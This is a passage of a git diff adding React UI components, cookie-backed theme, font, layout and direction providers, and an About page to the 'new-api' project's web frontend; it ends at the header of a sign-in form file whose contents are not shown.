+  ...props
+}: React.ComponentProps<'li'>) {
+  return (
+    <li
+      data-slot='sidebar-menu-sub-item'
+      data-sidebar='menu-sub-item'
+      className={cn('group/menu-sub-item relative', className)}
+      {...props}
+    />
+  )
+}
+
+function SidebarMenuSubButton({
+  asChild = false,
+  size = 'md',
+  isActive = false,
+  className,
+  ...props
+}: React.ComponentProps<'a'> & {
+  asChild?: boolean
+  size?: 'sm' | 'md'
+  isActive?: boolean
+}) {
+  const Comp = asChild ? Slot : 'a'
+
+  return (
+    <Comp
+      data-slot='sidebar-menu-sub-button'
+      data-sidebar='menu-sub-button'
+      data-size={size}
+      data-active={isActive}
+      className={cn(
+        'text-sidebar-foreground ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground active:bg-sidebar-accent active:text-sidebar-accent-foreground flex h-7 min-w-0 -translate-x-px items-center gap-2 overflow-hidden rounded-md px-2 outline-hidden focus-visible:ring-2 disabled:pointer-events-none disabled:opacity-50 aria-disabled:pointer-events-none aria-disabled:opacity-50 [&>span:last-child]:truncate [&>svg]:size-4 [&>svg]:shrink-0 [&>svg]:text-inherit',
+        'data-[active=true]:bg-sidebar-accent data-[active=true]:text-sidebar-accent-foreground',
+        size === 'sm' && 'text-xs',
+        size === 'md' && 'text-sm',
+        'group-data-[collapsible=icon]:hidden',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+export {
+  Sidebar,
+  SidebarContent,
+  SidebarFooter,
+  SidebarGroup,
+  SidebarGroupAction,
+  SidebarGroupContent,
+  SidebarGroupLabel,
+  SidebarHeader,
+  SidebarInput,
+  SidebarInset,
+  SidebarMenu,
+  SidebarMenuAction,
+  SidebarMenuBadge,
+  SidebarMenuButton,
+  SidebarMenuItem,
+  SidebarMenuSkeleton,
+  SidebarMenuSub,
+  SidebarMenuSubButton,
+  SidebarMenuSubItem,
+  SidebarProvider,
+  SidebarRail,
+  SidebarSeparator,
+  SidebarTrigger,
+  useSidebar,
+}
diff --git a/new-api/web/default/src/components/ui/skeleton.tsx b/new-api/web/default/src/components/ui/skeleton.tsx
new file mode 100644
index 0000000..04dc1a0
--- /dev/null
+++ b/new-api/web/default/src/components/ui/skeleton.tsx
@@ -0,0 +1,13 @@
+import { cn } from '@/lib/utils'
+
+function Skeleton({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='skeleton'
+      className={cn('skeleton-shimmer rounded-md', className)}
+      {...props}
+    />
+  )
+}
+
+export { Skeleton }
diff --git a/new-api/web/default/src/components/ui/sonner.tsx b/new-api/web/default/src/components/ui/sonner.tsx
new file mode 100644
index 0000000..d317c41
--- /dev/null
+++ b/new-api/web/default/src/components/ui/sonner.tsx
@@ -0,0 +1,21 @@
+import { Toaster as Sonner, ToasterProps } from 'sonner'
+import { useTheme } from '@/context/theme-provider'
+
+export function Toaster({ ...props }: ToasterProps) {
+  const { theme = 'system' } = useTheme()
+
+  return (
+    <Sonner
+      theme={theme as ToasterProps['theme']}
+      className='toaster group [&_div[data-content]]:w-full'
+      style={
+        {
+          '--normal-bg': 'var(--popover)',
+          '--normal-text': 'var(--popover-foreground)',
+          '--normal-border': 'var(--border)',
+        } as React.CSSProperties
+      }
+      {...props}
+    />
+  )
+}
diff --git a/new-api/web/default/src/components/ui/switch.tsx b/new-api/web/default/src/components/ui/switch.tsx
new file mode 100644
index 0000000..cddf07f
--- /dev/null
+++ b/new-api/web/default/src/components/ui/switch.tsx
@@ -0,0 +1,28 @@
+import * as React from 'react'
+import * as SwitchPrimitive from '@radix-ui/react-switch'
+import { cn } from '@/lib/utils'
+
+function Switch({
+  className,
+  ...props
+}: React.ComponentProps<typeof SwitchPrimitive.Root>) {
+  return (
+    <SwitchPrimitive.Root
+      data-slot='switch'
+      className={cn(
+        'peer data-[state=checked]:bg-primary data-[state=unchecked]:bg-input focus-visible:border-ring focus-visible:ring-ring/50 dark:data-[state=unchecked]:bg-input/80 inline-flex h-[1.15rem] w-8 shrink-0 items-center rounded-full border border-transparent shadow-xs transition-all outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50',
+        className
+      )}
+      {...props}
+    >
+      <SwitchPrimitive.Thumb
+        data-slot='switch-thumb'
+        className={cn(
+          'bg-background dark:data-[state=unchecked]:bg-foreground dark:data-[state=checked]:bg-primary-foreground pointer-events-none block size-4 rounded-full ring-0 transition-transform data-[state=checked]:translate-x-[calc(100%-2px)] data-[state=unchecked]:translate-x-0 rtl:data-[state=checked]:-translate-x-[calc(100%-2px)]'
+        )}
+      />
+    </SwitchPrimitive.Root>
+  )
+}
+
+export { Switch }
diff --git a/new-api/web/default/src/components/ui/table.tsx b/new-api/web/default/src/components/ui/table.tsx
new file mode 100644
index 0000000..f8a28bf
--- /dev/null
+++ b/new-api/web/default/src/components/ui/table.tsx
@@ -0,0 +1,113 @@
+import * as React from 'react'
+import { cn } from '@/lib/utils'
+
+function Table({ className, ...props }: React.ComponentProps<'table'>) {
+  return (
+    <div
+      data-slot='table-container'
+      className='relative w-full overflow-x-auto overflow-y-clip'
+    >
+      <table
+        data-slot='table'
+        className={cn('w-full caption-bottom text-sm', className)}
+        {...props}
+      />
+    </div>
+  )
+}
+
+function TableHeader({ className, ...props }: React.ComponentProps<'thead'>) {
+  return (
+    <thead
+      data-slot='table-header'
+      className={cn('[&_tr]:border-b', className)}
+      {...props}
+    />
+  )
+}
+
+function TableBody({ className, ...props }: React.ComponentProps<'tbody'>) {
+  return (
+    <tbody
+      data-slot='table-body'
+      className={cn('[&_tr:last-child]:border-0', className)}
+      {...props}
+    />
+  )
+}
+
+function TableFooter({ className, ...props }: React.ComponentProps<'tfoot'>) {
+  return (
+    <tfoot
+      data-slot='table-footer'
+      className={cn(
+        'bg-muted/50 border-t font-medium [&>tr]:last:border-b-0',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function TableRow({ className, ...props }: React.ComponentProps<'tr'>) {
+  return (
+    <tr
+      data-slot='table-row'
+      className={cn(
+        'hover:bg-muted/50 data-[state=selected]:bg-muted border-b transition-colors',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function TableHead({ className, ...props }: React.ComponentProps<'th'>) {
+  return (
+    <th
+      data-slot='table-head'
+      className={cn(
+        'text-foreground h-10 px-2 text-start align-middle font-medium whitespace-nowrap [&:has([role=checkbox])]:pe-0 [&>[role=checkbox]]:translate-y-[2px]',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function TableCell({ className, ...props }: React.ComponentProps<'td'>) {
+  return (
+    <td
+      data-slot='table-cell'
+      className={cn(
+        'p-2 align-middle whitespace-nowrap [&:has([role=checkbox])]:pe-0 [&>[role=checkbox]]:translate-y-[2px]',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function TableCaption({
+  className,
+  ...props
+}: React.ComponentProps<'caption'>) {
+  return (
+    <caption
+      data-slot='table-caption'
+      className={cn('text-muted-foreground mt-4 text-sm', className)}
+      {...props}
+    />
+  )
+}
+
+export {
+  Table,
+  TableHeader,
+  TableBody,
+  TableFooter,
+  TableHead,
+  TableRow,
+  TableCell,
+  TableCaption,
+}
diff --git a/new-api/web/default/src/components/ui/tabs.tsx b/new-api/web/default/src/components/ui/tabs.tsx
new file mode 100644
index 0000000..ba769fd
--- /dev/null
+++ b/new-api/web/default/src/components/ui/tabs.tsx
@@ -0,0 +1,63 @@
+import * as React from 'react'
+import * as TabsPrimitive from '@radix-ui/react-tabs'
+import { cn } from '@/lib/utils'
+
+function Tabs({
+  className,
+  ...props
+}: React.ComponentProps<typeof TabsPrimitive.Root>) {
+  return (
+    <TabsPrimitive.Root
+      data-slot='tabs'
+      className={cn('flex flex-col gap-2', className)}
+      {...props}
+    />
+  )
+}
+
+function TabsList({
+  className,
+  ...props
+}: React.ComponentProps<typeof TabsPrimitive.List>) {
+  return (
+    <TabsPrimitive.List
+      data-slot='tabs-list'
+      className={cn(
+        'bg-muted text-muted-foreground inline-flex h-9 w-fit items-center justify-center rounded-lg p-[3px]',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function TabsTrigger({
+  className,
+  ...props
+}: React.ComponentProps<typeof TabsPrimitive.Trigger>) {
+  return (
+    <TabsPrimitive.Trigger
+      data-slot='tabs-trigger'
+      className={cn(
+        "data-[state=active]:bg-background dark:data-[state=active]:text-foreground focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:outline-ring dark:data-[state=active]:border-input dark:data-[state=active]:bg-input/30 text-foreground dark:text-muted-foreground inline-flex h-[calc(100%-1px)] flex-1 items-center justify-center gap-1.5 rounded-md border border-transparent px-2 py-1 text-sm font-medium whitespace-nowrap transition-[color,box-shadow] focus-visible:ring-[3px] focus-visible:outline-1 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:shadow-sm [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function TabsContent({
+  className,
+  ...props
+}: React.ComponentProps<typeof TabsPrimitive.Content>) {
+  return (
+    <TabsPrimitive.Content
+      data-slot='tabs-content'
+      className={cn('flex-1 outline-none', className)}
+      {...props}
+    />
+  )
+}
+
+export { Tabs, TabsList, TabsTrigger, TabsContent }
diff --git a/new-api/web/default/src/components/ui/textarea.tsx b/new-api/web/default/src/components/ui/textarea.tsx
new file mode 100644
index 0000000..eef296a
--- /dev/null
+++ b/new-api/web/default/src/components/ui/textarea.tsx
@@ -0,0 +1,17 @@
+import * as React from 'react'
+import { cn } from '@/lib/utils'
+
+function Textarea({ className, ...props }: React.ComponentProps<'textarea'>) {
+  return (
+    <textarea
+      data-slot='textarea'
+      className={cn(
+        'border-input placeholder:text-muted-foreground focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:bg-input/30 flex field-sizing-content min-h-16 w-full rounded-md border bg-transparent px-3 py-2 text-base shadow-xs transition-[color,box-shadow] outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50 md:text-sm',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+export { Textarea }
diff --git a/new-api/web/default/src/components/ui/tooltip.tsx b/new-api/web/default/src/components/ui/tooltip.tsx
new file mode 100644
index 0000000..3f104f8
--- /dev/null
+++ b/new-api/web/default/src/components/ui/tooltip.tsx
@@ -0,0 +1,58 @@
+import * as React from 'react'
+import * as TooltipPrimitive from '@radix-ui/react-tooltip'
+import { cn } from '@/lib/utils'
+
+function TooltipProvider({
+  delayDuration = 0,
+  ...props
+}: React.ComponentProps<typeof TooltipPrimitive.Provider>) {
+  return (
+    <TooltipPrimitive.Provider
+      data-slot='tooltip-provider'
+      delayDuration={delayDuration}
+      {...props}
+    />
+  )
+}
+
+function Tooltip({
+  ...props
+}: React.ComponentProps<typeof TooltipPrimitive.Root>) {
+  return (
+    <TooltipProvider>
+      <TooltipPrimitive.Root data-slot='tooltip' {...props} />
+    </TooltipProvider>
+  )
+}
+
+function TooltipTrigger({
+  ...props
+}: React.ComponentProps<typeof TooltipPrimitive.Trigger>) {
+  return <TooltipPrimitive.Trigger data-slot='tooltip-trigger' {...props} />
+}
+
+function TooltipContent({
+  className,
+  sideOffset = 0,
+  children,
+  ...props
+}: React.ComponentProps<typeof TooltipPrimitive.Content>) {
+  return (
+    <TooltipPrimitive.Portal>
+      <TooltipPrimitive.Content
+        data-slot='tooltip-content'
+        sideOffset={sideOffset}
+        className={cn(
+          'bg-foreground text-background animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 w-fit origin-(--radix-tooltip-content-transform-origin) rounded-md px-3 py-1.5 text-xs text-balance',
+          className
+        )}
+        {...props}
+      >
+        {children}
+        <TooltipPrimitive.Arrow className='bg-foreground fill-foreground z-50 size-2.5 translate-y-[calc(-50%_-_2px)] rotate-45 rounded-[2px]' />
+      </TooltipPrimitive.Content>
+    </TooltipPrimitive.Portal>
+  )
+}
+
+export { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider }
diff --git a/new-api/web/default/src/config/fonts.ts b/new-api/web/default/src/config/fonts.ts
new file mode 100644
index 0000000..af39656
--- /dev/null
+++ b/new-api/web/default/src/config/fonts.ts
@@ -0,0 +1,19 @@
+/**
+ * List of available font names (visit the url `/settings/appearance`).
+ * This array is used to generate dynamic font classes (e.g., `font-inter`, `font-manrope`).
+ *
+ * 📝 How to Add a New Font (Tailwind v4+):
+ * 1. Add the font name here.
+ * 2. Update the `<link>` tag in 'index.html' to include the new font from CDN or other source.
+ * 3. Add the new font family to 'theme.css' using the `@theme inline` and `font-family` CSS variable.
+ *
+ * Example:
+ * fonts.ts           → Add 'roboto' to this array.
+ * index.html         → Add font link for Roboto.
+ * theme.css          → Add the new font in the CSS, e.g.:
+ *   @theme inline {
+ *      // ... other font families
+ *      --font-roboto: 'Roboto', var(--font-sans);
+ *   }
+ */
+export const fonts = ['inter', 'manrope', 'system'] as const
diff --git a/new-api/web/default/src/context/direction-provider.tsx b/new-api/web/default/src/context/direction-provider.tsx
new file mode 100644
index 0000000..4a1868c
--- /dev/null
+++ b/new-api/web/default/src/context/direction-provider.tsx
@@ -0,0 +1,61 @@
+import { createContext, useContext, useEffect, useState } from 'react'
+import { DirectionProvider as RdxDirProvider } from '@radix-ui/react-direction'
+import { getCookie, setCookie, removeCookie } from '@/lib/cookies'
+
+export type Direction = 'ltr' | 'rtl'
+
+const DEFAULT_DIRECTION = 'ltr'
+const DIRECTION_COOKIE_NAME = 'dir'
+const DIRECTION_COOKIE_MAX_AGE = 60 * 60 * 24 * 365 // 1 year
+
+type DirectionContextType = {
+  defaultDir: Direction
+  dir: Direction
+  setDir: (dir: Direction) => void
+  resetDir: () => void
+}
+
+const DirectionContext = createContext<DirectionContextType | null>(null)
+
+export function DirectionProvider({ children }: { children: React.ReactNode }) {
+  const [dir, _setDir] = useState<Direction>(
+    () => (getCookie(DIRECTION_COOKIE_NAME) as Direction) || DEFAULT_DIRECTION
+  )
+
+  useEffect(() => {
+    const htmlElement = document.documentElement
+    htmlElement.setAttribute('dir', dir)
+  }, [dir])
+
+  const setDir = (dir: Direction) => {
+    _setDir(dir)
+    setCookie(DIRECTION_COOKIE_NAME, dir, DIRECTION_COOKIE_MAX_AGE)
+  }
+
+  const resetDir = () => {
+    _setDir(DEFAULT_DIRECTION)
+    removeCookie(DIRECTION_COOKIE_NAME)
+  }
+
+  return (
+    <DirectionContext
+      value={{
+        defaultDir: DEFAULT_DIRECTION,
+        dir,
+        setDir,
+        resetDir,
+      }}
+    >
+      <RdxDirProvider dir={dir}>{children}</RdxDirProvider>
+    </DirectionContext>
+  )
+}
+
+// eslint-disable-next-line react-refresh/only-export-components
+export function useDirection() {
+  const context = useContext(DirectionContext)
+  if (!context) {
+    throw new Error('useDirection must be used within a DirectionProvider')
+  }
+  return context
+}
diff --git a/new-api/web/default/src/context/font-provider.tsx b/new-api/web/default/src/context/font-provider.tsx
new file mode 100644
index 0000000..80b7d7e
--- /dev/null
+++ b/new-api/web/default/src/context/font-provider.tsx
@@ -0,0 +1,58 @@
+import { createContext, useContext, useEffect, useState } from 'react'
+import { fonts } from '@/config/fonts'
+import { getCookie, setCookie, removeCookie } from '@/lib/cookies'
+
+type Font = (typeof fonts)[number]
+
+const FONT_COOKIE_NAME = 'font'
+const FONT_COOKIE_MAX_AGE = 60 * 60 * 24 * 365 // 1 year
+
+type FontContextType = {
+  font: Font
+  setFont: (font: Font) => void
+  resetFont: () => void
+}
+
+const FontContext = createContext<FontContextType | null>(null)
+
+export function FontProvider({ children }: { children: React.ReactNode }) {
+  const [font, _setFont] = useState<Font>(() => {
+    const savedFont = getCookie(FONT_COOKIE_NAME)
+    return fonts.includes(savedFont as Font) ? (savedFont as Font) : fonts[0]
+  })
+
+  useEffect(() => {
+    const applyFont = (font: string) => {
+      const root = document.documentElement
+      root.classList.forEach((cls) => {
+        if (cls.startsWith('font-')) root.classList.remove(cls)
+      })
+      root.classList.add(`font-${font}`)
+    }
+
+    applyFont(font)
+  }, [font])
+
+  const setFont = (font: Font) => {
+    setCookie(FONT_COOKIE_NAME, font, FONT_COOKIE_MAX_AGE)
+    _setFont(font)
+  }
+
+  const resetFont = () => {
+    removeCookie(FONT_COOKIE_NAME)
+    _setFont(fonts[0])
+  }
+
+  return (
+    <FontContext value={{ font, setFont, resetFont }}>{children}</FontContext>
+  )
+}
+
+// eslint-disable-next-line react-refresh/only-export-components
+export const useFont = () => {
+  const context = useContext(FontContext)
+  if (!context) {
+    throw new Error('useFont must be used within a FontProvider')
+  }
+  return context
+}
diff --git a/new-api/web/default/src/context/layout-provider.tsx b/new-api/web/default/src/context/layout-provider.tsx
new file mode 100644
index 0000000..6c593df
--- /dev/null
+++ b/new-api/web/default/src/context/layout-provider.tsx
@@ -0,0 +1,85 @@
+import { createContext, useContext, useState } from 'react'
+import { getCookie, setCookie } from '@/lib/cookies'
+
+export type Collapsible = 'offcanvas' | 'icon' | 'none'
+export type Variant = 'inset' | 'sidebar' | 'floating'
+
+// Cookie constants following the pattern from sidebar.tsx
+const LAYOUT_COLLAPSIBLE_COOKIE_NAME = 'layout_collapsible'
+const LAYOUT_VARIANT_COOKIE_NAME = 'layout_variant'
+const LAYOUT_COOKIE_MAX_AGE = 60 * 60 * 24 * 7 // 7 days
+
+// Default values
+const DEFAULT_VARIANT = 'inset'
+const DEFAULT_COLLAPSIBLE = 'icon'
+
+type LayoutContextType = {
+  resetLayout: () => void
+
+  defaultCollapsible: Collapsible
+  collapsible: Collapsible
+  setCollapsible: (collapsible: Collapsible) => void
+
+  defaultVariant: Variant
+  variant: Variant
+  setVariant: (variant: Variant) => void
+}
+
+const LayoutContext = createContext<LayoutContextType | null>(null)
+
+type LayoutProviderProps = {
+  children: React.ReactNode
+}
+
+export function LayoutProvider({ children }: LayoutProviderProps) {
+  const [collapsible, _setCollapsible] = useState<Collapsible>(() => {
+    const saved = getCookie(LAYOUT_COLLAPSIBLE_COOKIE_NAME)
+    return (saved as Collapsible) || DEFAULT_COLLAPSIBLE
+  })
+
+  const [variant, _setVariant] = useState<Variant>(() => {
+    const saved = getCookie(LAYOUT_VARIANT_COOKIE_NAME)
+    return (saved as Variant) || DEFAULT_VARIANT
+  })
+
+  const setCollapsible = (newCollapsible: Collapsible) => {
+    _setCollapsible(newCollapsible)
+    setCookie(
+      LAYOUT_COLLAPSIBLE_COOKIE_NAME,
+      newCollapsible,
+      LAYOUT_COOKIE_MAX_AGE
+    )
+  }
+
+  const setVariant = (newVariant: Variant) => {
+    _setVariant(newVariant)
+    setCookie(LAYOUT_VARIANT_COOKIE_NAME, newVariant, LAYOUT_COOKIE_MAX_AGE)
+  }
+
+  const resetLayout = () => {
+    setCollapsible(DEFAULT_COLLAPSIBLE)
+    setVariant(DEFAULT_VARIANT)
+  }
+
+  const contextValue: LayoutContextType = {
+    resetLayout,
+    defaultCollapsible: DEFAULT_COLLAPSIBLE,
+    collapsible,
+    setCollapsible,
+    defaultVariant: DEFAULT_VARIANT,
+    variant,
+    setVariant,
+  }
+
+  return <LayoutContext value={contextValue}>{children}</LayoutContext>
+}
+
+// Define the hook for the provider
+// eslint-disable-next-line react-refresh/only-export-components
+export function useLayout() {
+  const context = useContext(LayoutContext)
+  if (!context) {
+    throw new Error('useLayout must be used within a LayoutProvider')
+  }
+  return context
+}
diff --git a/new-api/web/default/src/context/search-provider.tsx b/new-api/web/default/src/context/search-provider.tsx
new file mode 100644
index 0000000..31625d6
--- /dev/null
+++ b/new-api/web/default/src/context/search-provider.tsx
@@ -0,0 +1,46 @@
+import { createContext, useContext, useEffect, useState } from 'react'
+import { CommandMenu } from '@/components/command-menu'
+
+type SearchContextType = {
+  open: boolean
+  setOpen: React.Dispatch<React.SetStateAction<boolean>>
+}
+
+const SearchContext = createContext<SearchContextType | null>(null)
+
+type SearchProviderProps = {
+  children: React.ReactNode
+}
+
+export function SearchProvider({ children }: SearchProviderProps) {
+  const [open, setOpen] = useState(false)
+
+  useEffect(() => {
+    const down = (e: KeyboardEvent) => {
+      if (e.key === 'k' && (e.metaKey || e.ctrlKey)) {
+        e.preventDefault()
+        setOpen((open) => !open)
+      }
+    }
+    document.addEventListener('keydown', down)
+    return () => document.removeEventListener('keydown', down)
+  }, [])
+
+  return (
+    <SearchContext.Provider value={{ open, setOpen }}>
+      {children}
+      <CommandMenu />
+    </SearchContext.Provider>
+  )
+}
+
+// eslint-disable-next-line react-refresh/only-export-components
+export const useSearch = () => {
+  const searchContext = useContext(SearchContext)
+
+  if (!searchContext) {
+    throw new Error('useSearch has to be used within SearchProvider')
+  }
+
+  return searchContext
+}
diff --git a/new-api/web/default/src/context/theme-provider.tsx b/new-api/web/default/src/context/theme-provider.tsx
new file mode 100644
index 0000000..9675b4d
--- /dev/null
+++ b/new-api/web/default/src/context/theme-provider.tsx
@@ -0,0 +1,110 @@
+import { createContext, useContext, useEffect, useState, useMemo } from 'react'
+import { getCookie, setCookie, removeCookie } from '@/lib/cookies'
+
+type Theme = 'dark' | 'light' | 'system'
+type ResolvedTheme = Exclude<Theme, 'system'>
+
+const DEFAULT_THEME = 'system'
+const THEME_COOKIE_NAME = 'vite-ui-theme'
+const THEME_COOKIE_MAX_AGE = 60 * 60 * 24 * 365 // 1 year
+
+type ThemeProviderProps = {
+  children: React.ReactNode
+  defaultTheme?: Theme
+  storageKey?: string
+}
+
+type ThemeProviderState = {
+  defaultTheme: Theme
+  resolvedTheme: ResolvedTheme
+  theme: Theme
+  setTheme: (theme: Theme) => void
+  resetTheme: () => void
+}
+
+const initialState: ThemeProviderState = {
+  defaultTheme: DEFAULT_THEME,
+  resolvedTheme: 'light',
+  theme: DEFAULT_THEME,
+  setTheme: () => null,
+  resetTheme: () => null,
+}
+
+const ThemeContext = createContext<ThemeProviderState>(initialState)
+
+export function ThemeProvider({
+  children,
+  defaultTheme = DEFAULT_THEME,
+  storageKey = THEME_COOKIE_NAME,
+  ...props
+}: ThemeProviderProps) {
+  const [theme, _setTheme] = useState<Theme>(
+    () => (getCookie(storageKey) as Theme) || defaultTheme
+  )
+
+  // Optimized: Memoize the resolved theme calculation to prevent unnecessary re-computations
+  const resolvedTheme = useMemo((): ResolvedTheme => {
+    if (theme === 'system') {
+      return window.matchMedia('(prefers-color-scheme: dark)').matches
+        ? 'dark'
+        : 'light'
+    }
+    return theme as ResolvedTheme
+  }, [theme])
+
+  useEffect(() => {
+    const root = window.document.documentElement
+    const mediaQuery = window.matchMedia('(prefers-color-scheme: dark)')
+
+    const applyTheme = (currentResolvedTheme: ResolvedTheme) => {
+      root.classList.remove('light', 'dark') // Remove existing theme classes
+      root.classList.add(currentResolvedTheme) // Add the new theme class
+    }
+
+    const handleChange = () => {
+      if (theme === 'system') {
+        const systemTheme = mediaQuery.matches ? 'dark' : 'light'
+        applyTheme(systemTheme)
+      }
+    }
+
+    applyTheme(resolvedTheme)
+
+    mediaQuery.addEventListener('change', handleChange)
+
+    return () => mediaQuery.removeEventListener('change', handleChange)
+  }, [theme, resolvedTheme])
+
+  const setTheme = (theme: Theme) => {
+    setCookie(storageKey, theme, THEME_COOKIE_MAX_AGE)
+    _setTheme(theme)
+  }
+
+  const resetTheme = () => {
+    removeCookie(storageKey)
+    _setTheme(DEFAULT_THEME)
+  }
+
+  const contextValue = {
+    defaultTheme,
+    resolvedTheme,
+    resetTheme,
+    theme,
+    setTheme,
+  }
+
+  return (
+    <ThemeContext value={contextValue} {...props}>
+      {children}
+    </ThemeContext>
+  )
+}
+
+// eslint-disable-next-line react-refresh/only-export-components
+export const useTheme = () => {
+  const context = useContext(ThemeContext)
+
+  if (!context) throw new Error('useTheme must be used within a ThemeProvider')
+
+  return context
+}
diff --git a/new-api/web/default/src/env.d.ts b/new-api/web/default/src/env.d.ts
new file mode 100644
index 0000000..03d9256
--- /dev/null
+++ b/new-api/web/default/src/env.d.ts
@@ -0,0 +1,9 @@
+/// <reference types="@rsbuild/core/types" />
+
+declare module '@visactor/react-vchart' {
+  export const VChart: React.ComponentType<Record<string, unknown>>
+}
+
+declare module '@visactor/vchart-semi-theme' {
+  export const initVChartSemiTheme: (opts?: Record<string, unknown>) => void
+}
diff --git a/new-api/web/default/src/features/about/api.ts b/new-api/web/default/src/features/about/api.ts
new file mode 100644
index 0000000..626ba15
--- /dev/null
+++ b/new-api/web/default/src/features/about/api.ts
@@ -0,0 +1,7 @@
+import { api } from '@/lib/api'
+import type { AboutResponse } from './types'
+
+export async function getAboutContent() {
+  const res = await api.get<AboutResponse>('/api/about')
+  return res.data
+}
diff --git a/new-api/web/default/src/features/about/index.tsx b/new-api/web/default/src/features/about/index.tsx
new file mode 100644
index 0000000..53dcf8c
--- /dev/null
+++ b/new-api/web/default/src/features/about/index.tsx
@@ -0,0 +1,168 @@
+import { useQuery } from '@tanstack/react-query'
+import { Construction } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Markdown } from '@/components/ui/markdown'
+import { Skeleton } from '@/components/ui/skeleton'
+import { PublicLayout } from '@/components/layout'
+import { getAboutContent } from './api'
+
+function isValidUrl(value: string) {
+  try {
+    const url = new URL(value)
+    return url.protocol === 'http:' || url.protocol === 'https:'
+  } catch {
+    return false
+  }
+}
+
+function isLikelyHtml(value: string) {
+  return /<\/?[a-z][\s\S]*>/i.test(value)
+}
+
+function EmptyAboutState() {
+  const { t } = useTranslation()
+  const currentYear = new Date().getFullYear()
+
+  return (
+    <div className='flex min-h-[60vh] items-center justify-center p-8'>
+      <div className='max-w-2xl space-y-6 text-center'>
+        <div className='flex justify-center'>
+          <Construction className='text-muted-foreground h-24 w-24' />
+        </div>
+        <div className='space-y-2'>
+          <h2 className='text-2xl font-bold'>{t('No About Content Set')}</h2>
+          <p className='text-muted-foreground'>
+            {t(
+              'The administrator has not configured any about content yet. You can set it in the settings page, supporting HTML or URL.'
+            )}
+          </p>
+        </div>
+        <div className='space-y-4 text-sm'>
+          <p>
+            {t('New API Project Repository:')}{' '}
+            <a
+              href='https://github.com/QuantumNous/new-api'
+              target='_blank'
+              rel='noopener noreferrer'
+              className='text-primary hover:underline'
+            >
+              {t('https://github.com/QuantumNous/new-api')}
+            </a>
+          </p>
+          <p className='text-muted-foreground'>
+            <a
+              href='https://github.com/QuantumNous/new-api'
+              target='_blank'
+              rel='noopener noreferrer'
+              className='text-primary hover:underline'
+            >
+              {t('NewAPI')}
+            </a>{' '}
+            © {currentYear}{' '}
+            <a
+              href='https://github.com/QuantumNous'
+              target='_blank'
+              rel='noopener noreferrer'
+              className='text-primary hover:underline'
+            >
+              {t('QuantumNous')}
+            </a>{' '}
+            {t('| Based on')}{' '}
+            <a
+              href='https://github.com/songquanpeng/one-api'
+              target='_blank'
+              rel='noopener noreferrer'
+              className='text-primary hover:underline'
+            >
+              {t('One API')}
+            </a>{' '}
+            © 2023{' '}
+            <a
+              href='https://github.com/songquanpeng'
+              target='_blank'
+              rel='noopener noreferrer'
+              className='text-primary hover:underline'
+            >
+              {t('JustSong')}
+            </a>
+          </p>
+          <p className='text-muted-foreground'>
+            {t('This project must be used in compliance with the')}{' '}
+            <a
+              href='https://github.com/QuantumNous/new-api/blob/main/LICENSE'
+              target='_blank'
+              rel='noopener noreferrer'
+              className='text-primary hover:underline'
+            >
+              {t('AGPL v3.0 License')}
+            </a>
+            .
+          </p>
+        </div>
+      </div>
+    </div>
+  )
+}
+
+export function About() {
+  const { t } = useTranslation()
+  const { data, isLoading } = useQuery({
+    queryKey: ['about-content'],
+    queryFn: getAboutContent,
+  })
+
+  const rawContent = data?.data?.trim() ?? ''
+  const hasContent = rawContent.length > 0
+  const isUrl = hasContent && isValidUrl(rawContent)
+  const isHtml = hasContent && !isUrl && isLikelyHtml(rawContent)
+
+  if (isLoading) {
+    return (
+      <PublicLayout>
+        <div className='mx-auto flex max-w-4xl flex-col gap-4 py-12'>
+          <Skeleton className='h-8 w-[45%]' />
+          <Skeleton className='h-4 w-full' />
+          <Skeleton className='h-4 w-[90%]' />
+          <Skeleton className='h-4 w-[80%]' />
+        </div>
+      </PublicLayout>
+    )
+  }
+
+  if (!hasContent) {
+    return (
+      <PublicLayout>
+        <EmptyAboutState />
+      </PublicLayout>
+    )
+  }
+
+  if (isUrl) {
+    return (
+      <PublicLayout showMainContainer={false}>
+        <iframe
+          src={rawContent}
+          className='h-[calc(100vh-3.5rem)] w-full border-0'
+          title={t('About')}
+        />
+      </PublicLayout>
+    )
+  }
+
+  return (
+    <PublicLayout>
+      <div className='mx-auto max-w-6xl px-4 py-8'>
+        {isHtml ? (
+          <div
+            className='prose prose-neutral dark:prose-invert max-w-none'
+            dangerouslySetInnerHTML={{ __html: rawContent }}
+          />
+        ) : (
+          <Markdown className='prose-neutral dark:prose-invert max-w-none'>
+            {rawContent}
+          </Markdown>
+        )}
+      </div>
+    </PublicLayout>
+  )
+}
diff --git a/new-api/web/default/src/features/about/types.ts b/new-api/web/default/src/features/about/types.ts
new file mode 100644
index 0000000..39a2a61
--- /dev/null
+++ b/new-api/web/default/src/features/about/types.ts
@@ -0,0 +1,5 @@
+export type AboutResponse = {
+  success: boolean
+  message: string
+  data?: string
+}
diff --git a/new-api/web/default/src/features/auth/sign-in/components/user-auth-form.tsx b/new-api/web/default/src/features/auth/sign-in/components/user-auth-form.tsx
new file mode 100644
index 0000000..39d4554
--- /dev/null
+++ b/new-api/web/default/src/features/auth/sign-in/components/user-auth-form.tsx
@@ -0,0 +1,435 @@
